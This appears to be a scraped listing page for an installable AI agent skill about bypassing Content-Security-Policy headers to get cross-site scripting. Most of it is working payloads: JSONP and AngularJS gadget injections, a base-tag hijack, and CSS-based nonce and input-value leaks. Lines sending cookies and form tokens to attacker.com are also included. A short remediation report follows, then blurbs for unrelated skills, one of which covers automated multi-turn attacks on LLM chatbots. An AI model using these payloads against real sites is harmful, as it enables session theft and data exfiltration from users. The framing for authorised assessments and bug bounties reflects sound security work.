external/anthropic-cybersecurity-skills/skills/performing-content-security-policy-bypass/SKILL.md
Analyze Content-Security-Policy headers and bypass them to achieve cross-site scripting by exploiting unsafe-inline/unsafe-eval, whitelisted JSONP endpoints, base-uri and form-action gaps, and nonce/hash weaknesses, then exfiltrate data even without script-src control. Use during web application security assessments or bug bounty hunting when XSS is found but blocked by CSP, or when auditing CSP header configuration for weaknesses.
npx skillsauth add seikaikyo/dash-skills performing-content-security-policy-bypassInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
# Extract CSP from response headers
curl -sI http://target.com | grep -i "content-security-policy"
# Check for CSP in meta tags
curl -s http://target.com | grep -i "content-security-policy"
# Analyze CSP with Google CSP Evaluator
# Visit: https://csp-evaluator.withgoogle.com/
# Paste the CSP policy for automated analysis
# Check for report-only mode (not enforced)
curl -sI http://target.com | grep -i "content-security-policy-report-only"
# If only report-only exists, CSP is NOT enforced - XSS works directly
# Parse directive values
# Example CSP:
# script-src 'self' 'unsafe-inline' https://cdn.example.com;
# default-src 'self'; style-src 'self' 'unsafe-inline';
# img-src *; connect-src 'self'
# If script-src includes 'unsafe-inline':
# CSP is effectively bypassed for inline scripts
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">
# If script-src includes 'unsafe-eval':
# eval() and related functions work
<script>eval('alert(1)')</script>
<script>setTimeout('alert(1)',0)</script>
<script>new Function('alert(1)')()</script>
# If 'unsafe-inline' with nonce:
# unsafe-inline is ignored when nonce is present (CSP3)
# Focus on nonce leaking instead
# If CSP whitelists a domain with JSONP endpoints:
# script-src 'self' https://accounts.google.com
# Find JSONP endpoints on whitelisted domains
# Google:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
# Common JSONP endpoints:
# https://www.google.com/complete/search?client=chrome&q=test&callback=alert(1)//
# https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js
# If AngularJS is whitelisted (CDN):
# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
# Exploit JSONP on whitelisted APIs
<script src="https://whitelisted-api.com/endpoint?callback=alert(1)//">
</script>
# If base-uri is not restricted:
# Inject <base> tag to redirect relative script loads
<base href="https://attacker.com/">
# All relative script src will load from attacker.com
# If form-action is not restricted:
# Steal data via form submission
<form action="https://attacker.com/steal" method="POST">
<input name="csrf_token" value="">
</form>
<script>document.forms[0].submit()</script>
# If object-src is not restricted:
# Use Flash or plugin-based XSS
<object data="https://attacker.com/exploit.swf"></object>
<embed src="https://attacker.com/exploit.swf">
# Nonce leaking via CSS attribute selectors
# If attacker can inject HTML (but not script due to CSP nonce):
<style>
script[nonce^="a"] { background: url("https://attacker.com/leak?nonce=a"); }
script[nonce^="b"] { background: url("https://attacker.com/leak?nonce=b"); }
</style>
# Brute-force each character position to leak the nonce
# Nonce reuse detection
# If the same nonce is used across multiple pages or requests:
# Capture nonce from one page, use it to inject script on another
# DOM clobbering to override nonce checking
<form id="csp"><input name="nonce" value="attacker-controlled"></form>
# Script gadgets in whitelisted libraries
# If a whitelisted JS library has a gadget that creates scripts:
# jQuery: $.getScript(), $.globalEval()
# Lodash: _.template()
# DOMPurify bypass via prototype pollution
# Policy injection via reflected parameters
# If CSP header reflects user input:
# Inject: ;script-src 'unsafe-inline'
# Or inject: ;report-uri /csp-report;script-src-elem 'unsafe-inline'
# Even without script execution, data exfiltration is possible:
# Via img-src (if allows external):
<img src="https://attacker.com/steal?data=SENSITIVE_DATA">
# Via CSS injection (if style-src allows unsafe-inline):
<style>
input[value^="a"] { background: url("https://attacker.com/?char=a"); }
input[value^="b"] { background: url("https://attacker.com/?char=b"); }
</style>
# Via connect-src (if allows external):
<script nonce="valid">
fetch('https://attacker.com/steal?data=' + document.cookie);
</script>
# Via DNS prefetch:
<link rel="dns-prefetch" href="//data.attacker.com">
# Via WebRTC (if not blocked):
# WebRTC can leak data through STUN/TURN servers
| Concept | Description | |---------|-------------| | unsafe-inline | CSP directive allowing inline script execution, defeating XSS protection | | Nonce-based CSP | Using random nonces to allow specific scripts while blocking injected ones | | JSONP Bypass | Exploiting JSONP endpoints on whitelisted domains to execute attacker callbacks | | Policy Injection | Injecting CSP directives through reflected user input in headers | | base-uri Hijacking | Redirecting relative script loads by injecting a base element | | Script Gadgets | Legitimate library features that can be abused to bypass CSP | | CSP Report-Only | Non-enforcing CSP mode that only logs violations without blocking |
| Tool | Purpose | |------|---------| | CSP Evaluator | Google tool for analyzing CSP policy weaknesses | | Burp Suite | HTTP proxy for CSP header analysis and bypass testing | | CSP Scanner | Browser extension for identifying CSP bypass opportunities | | csp-bypass | Curated list of CSP bypass techniques and payloads | | RetireJS | Identify vulnerable JavaScript libraries on whitelisted CDNs | | DOM Invader | Burp tool for testing CSP bypasses through DOM manipulation |
## CSP Bypass Assessment Report
- **Target**: http://target.com
- **CSP Mode**: Enforced
- **Policy**: script-src 'self' https://cdn.jsdelivr.net; default-src 'self'
### CSP Analysis
| Directive | Value | Risk |
|-----------|-------|------|
| script-src | 'self' cdn.jsdelivr.net | JSONP/Library bypass possible |
| default-src | 'self' | Moderate |
| base-uri | Not set | base-uri hijacking possible |
| object-src | Not set (falls back to default-src) | Low |
### Bypass Techniques Found
| # | Technique | Payload | Impact |
|---|-----------|---------|--------|
| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |
| 2 | Missing base-uri | <base href="https://evil.com/"> | Script hijack |
### Remediation
- Remove whitelisted CDN domains; use nonce-based or hash-based CSP
- Add base-uri 'self' to prevent base element injection
- Add object-src 'none' to block plugin-based execution
- Migrate from unsafe-inline to strict nonce-based policy
- Implement strict-dynamic for modern CSP3 browsers
tools
Conduct comprehensive GDPR compliance assessments by evaluating data processing activities against EU Regulation 2016/679, including Article 30 records of processing, lawful basis validation, data subject rights implementation, Data Protection Impact Assessments (DPIAs) under Article 35, breach notification procedures, international transfer safeguards (SCCs, adequacy decisions), and technical/organizational measures under Article 32. Use when processing personal data of EU residents, preparing for supervisory authority audits, implementing privacy-by-design for new systems, scoping compliance gaps for M&A due diligence, assessing third-party processors, or responding to data subject access requests at scale. Incorporates 2026 guidance from ICO, EDPB, and post-Data (Use and Access) Act 2025 UK-GDPR considerations. Do not use for implementing specific Article 32 controls — use implementing-gdpr-data-protection-controls; or for DSAR automation — use implementing-gdpr-data-subject-access-request.
tools
Parse Windows forensic artifacts—$MFT/$J (MFTECmd), Prefetch (PECmd), registry hives (RECmd), shellbags, and Amcache—into normalized CSV/JSON with Eric Zimmerman's EZ Tools, then load results into Timeline Explorer for analysis. Use during DFIR/incident-response investigations, after triage collection (e.g. with KAPE), to establish program execution, file/folder access, and persistence evidence from acquired forensic images.
development
Build automated multi-turn adversarial attacks against conversational LLM targets using Microsoft PyRIT's RedTeamingOrchestrator, CrescendoOrchestrator (gradual escalation), and TreeOfAttacksWithPruningOrchestrator (adaptive branching), with scorer feedback loops and persisted conversation memory. Use when single-shot LLM scanning is insufficient and you need multi-turn, scorer-driven AI red-team campaigns against a chatbot or agent.
testing
Stand up MISP, enable and cache curated threat feeds (CIRCL, abuse.ch, Feodo Tracker), apply warninglists to suppress false positives, query indicators with PyMISP, and export attributes as auto-generated Suricata/Sigma/Wazuh detection rules. Use when maturing a MISP instance to actively drive detection, curating threat feeds with quality controls, or automating IOC-to-detection pipelines for the SIEM/IDS.